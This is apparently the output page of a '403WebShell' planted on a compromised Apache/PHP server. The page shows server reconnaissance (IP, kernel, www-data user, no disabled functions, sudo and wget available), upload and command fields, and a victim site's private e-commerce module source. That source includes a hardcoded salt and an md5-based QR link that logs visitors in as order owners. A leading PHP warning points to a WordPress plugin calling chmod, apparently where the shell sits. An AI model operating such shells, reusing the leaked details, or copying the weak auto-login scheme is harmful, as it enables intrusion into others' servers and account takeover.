Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeTyd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeTyd/main.php
<?php

namespace modules\storeTyd;

class main extends \moduleMain {

	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	private $view;
	const
	  SALT = 'our unique salts';

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructInput();
		$this->__ConstructDatabase();
		$this->__ConstructOutput();
		$this->view = $GLOBALS['loader']->getView('tyd_view', __DIR__);
	}
	
	public function Activate() {
		hook_add('uri', [$this, '__qrcode_url'], 2);
		hook_add('template.store.product.COL2', [ $this, '__footnote' ], 91);
		hook_add('cart.update', [ $this, '__updatecart' ]);
		hook_add('template.store.cart.COL2', [ $this, '__customize' ], 52);
		hook_add('cart.display', [ $this, '__cart_display' ], 51);
		hook_add('menu.menu3', [$this, '__footer_link'], 25);
		hook_add('template.store.fulfill.COL2', [ $this, '__customize_fulfill' ], 52);
		hook_add('template.store.report.COL2', [ $this, '__customize_fulfill' ], 52);
		hook_add('order.fromcart', [ $this, '__orderfromcart'] );		// add the assembly to the order
		hook_add('template.store.product.COL2', [$this, '__customize_fulfill2'], 98);		// display chosen colors
		hook_add('template.store.edit.COL2', [$this, '__customize_fulfill_edit'], 30);			// list chosen colors on one line
		hook_add('template.store.edit.COL3', [$this, '__editCustomizationButton']);
		hook_add('template.product', [$this, '__product']);
		hook_add('register.packingslip', [$this, '__packingslip_register'], 10);
		hook_add('store.account.customize', [$this, '__order_customize']);
		hook_add('menu.admin', [$this, '__admin_menu'], 80);
	}

	public function __admin_menu(&$menu) {
		if (!empty($this->settings['merchant'])) {
			$menu[] = [
				'caption' => 'Google Merchant', 
				'href' => $this->settings['merchant'], 
				'hint' => 'Go to Google Merchant',
				'icon' => '<i class="fab fa-google"></i>',
				's' => 0
			];
		}
	}

	public function __footnote(&$html) {
		$text = $this->view->Column2Text();
		$this->view->UpdateHTML($html, 'COL2', $text);
	}

	public function __updatecart($param) {
		$model = $this->loadModel('tyd_model');
		$product_data = $param->product_data;
		$product_id = $product_data['sp_id'] ?? 0;
		$model->ProductId($product_id);
		// do we have one of our special products?
		if ($model->ItemCount()) {
			// always create a new entry, includes a redirect
			$param->guid = $model->prepareCartEntry($param, $product_data);
		}
	}

	// add a customized button to the html
	public function __customize(&$html) {
		$text = $this->view->Column2Customize();
		$this->view->UpdateHTML($html, 'COL2', $text);
	}
	
	// add customization data to the json
	public function __cart_display(&$res, $tag = '') {
		$base = $this->StaticUriModule(__DIR__);
		$model = $this->loadModel('tyd_model');
		$model_product = $this->LoadModel('product_model', 'store');
		$model->setModelProduct($model_product)
				->StaticDir($base)
				->insertCustomization($res['cart'], $tag);
	}
	
	public function __customize_fulfill(&$html) {
		$text = $this->view->Column2Customize(FALSE);
		$this->view->UpdateHTML($html, 'COL2', $text);
		// these details do not need to appear on order history - only the detail page
	}

	public function __customize_fulfill_edit(&$html) {
		$text = $this->view->Column2Customize('edit');
		$this->view->UpdateHTML($html, 'COL2', $text);
		// these details do not need to appear on order history - only the detail page
	}

	
	// from the product page, display customization
	public function __customize_fulfill2(&$html) {
		$text = $this->view->Column7Text();
		$this->view->UpdateHTML($html, 'COL2', $text);
	}

	public function __footer_link(&$menu) {
		$menu[] = ['caption' => 'Terms and Conditions', 'href' => '/doc/terms', 's' => 0];
		$menu[] = ['caption' => 'Privacy Policy', 'href' => '/doc/privacy', 's' => 0];
		$menu[] = ['caption' => 'Contact Us', 'href' => '/store/contact', 's' => 0];
	}
	
	// add 
	public function __orderfromcart(&$unused, $order_id, $items) {
		$model = $this->loadModel('tyd_model');
		$model->associateAssembly($order_id, $items);		// add order_id to the guid record
	}
	
	public function __product(&$data) {
		$guid = $this->param('guid', '');
		if ($guid != '') {				// add guid, type and payload
			$model = $this->loadModel('tyd_model');
			$model_product = $this->LoadModel('product_model', 'store');
			$text = $model->setModelProduct($model_product)
						->Guid($guid)
						->generateDescription('fulfill');
			if ($text != '') {
				$data['guid'] = $guid;
				$data['type'] = $model->Type();
				$data['custom'] = $text;
			}
		}
	}
	
	public function __packingslip_register() {
		$node = new \StdClass;
		$node->title = 'The Young Designers';
		$node->entrypoint = [$this, '__packingslip'];
		return $node;
	}
	
	public function __packingslip(&$data) {
		$num = $data['ordernum'];
		$link = $this->Hostname(TRUE) . '/' . $num;
		$m = md5(static::SALT . ':' . $link);
		$hash = substr($m, 10, 8);
		$link .= '-' . $hash . '-' . gmdate('YmdHi');			// include printed date
		
		// generate the QR Code
		$n = new \StdClass;
		$n->text = $link;
		$n->quality = 'H';
		$n->colorBackground = '#E3EFE3';
		$n->colorStart = '#000000';
		$n->colorEnd = '#0277BD';
		$n->size='180x180';
		$n->imagedata = false;
		$n = hook_execute('image.qrcode', $n);
		if ($n->imagedata) $data['qrcode'] = 'data:image/png;base64,' . base64_encode($n->imagedata);
		
		$base = $this->StaticUriModule(__DIR__);
		$model = $this->loadModel('tyd_model');
		$model->preparePackingSlipData($data);
		$data['tradingname'] = "$base/tradingname.png";
		$html = $this->view->storetyd_packingslip();		// full handlebars html,
		return $html;
	}
	
	// the qrcode has been scanned
	public function __qrcode_url(&$uri, $__INPUT, $__OUTPUT) {
        if (($p = strpos($uri, '?')) !== FALSE) {
            $param = substr($uri, $p);
            $uri = substr($uri, 0, $p);
        } else {
            $param = '';
        }
		$elements = explode('/', trim($uri, '/'));
		$item = $elements[0] ?? '';
		$elements = explode('-', $item);
		if (count($elements) > 1) {
			$item = $elements[0] . '-' . $elements[1];
			$ordernum = preg_match('~^(\d{3}\-\d{6,8})$~', $item, $match) ? $match[1] : '';
			if ($ordernum != '') {
				$auth = preg_match('~^([0-9a-f]{8})$~i', $elements[2] ?? '', $match) ? $match[1] : '';
				$date = preg_match('~^(\d{12})$~i', $elements[3] ?? '', $match) ? $match[1] : '';
				
				$link = $this->Hostname(TRUE) . '/' . $ordernum;
				$m = md5(static::SALT . ':' . $link);
				$hash = substr($m, 10, 8);
				if ($hash == $auth) {
					$level = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_level'] : 0;
					if (!$level) {
						$model_order = $this->LoadModel('order_model', 'store');
						$model_order->OrderNumber($ordernum);		// get userid from order

						$params = new \StdClass;
						$params->user_id = $model_order->UserId();
						$userinfo = hook_execute('login.verify', NULL, $params);
						hook_execute('login', 0, $userinfo);			// log in as user
						$this->Redirect('/account/order/' . $ordernum);		// this could be auto-login for just this page
					} elseif ($level > 8) {
						$this->Redirect('/admin/fulfillment/' . $ordernum . '?dt=' . $date );
					} else {
						$this->Redirect('/account/order/' . $ordernum);		// this could be auto-login for just this page
					}
				} else {
					$this->Redirect('/account/order/' . $ordernum);
				}
			}
		}
	}

	public function __editCustomizationButton(&$html) {
		$text = $this->view->store_customization_edit2();
		$this->view->UpdateHTML($html, 'COL3', $text);
	}
	
	public function __order_customize(&$res, $line_id, $isPost) {
		$model_order = $this->LoadModel('order_model', 'store');
		$row = $model_order->LoadOrderByLine($line_id);			// load the order by line_id
		if (!is_null($row)) {
			$customization = $row->sod_customization ?? '';		// get the guid
			if ($customization != '') {							// redirect to customize page
				$res['redirect'] = '/store/color-selection/' . $customization . '/' . $model_order->OrderNumber();
				return;
			}
		}
				
		
		// on save: update edited date/time
		// 	 return to order page
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit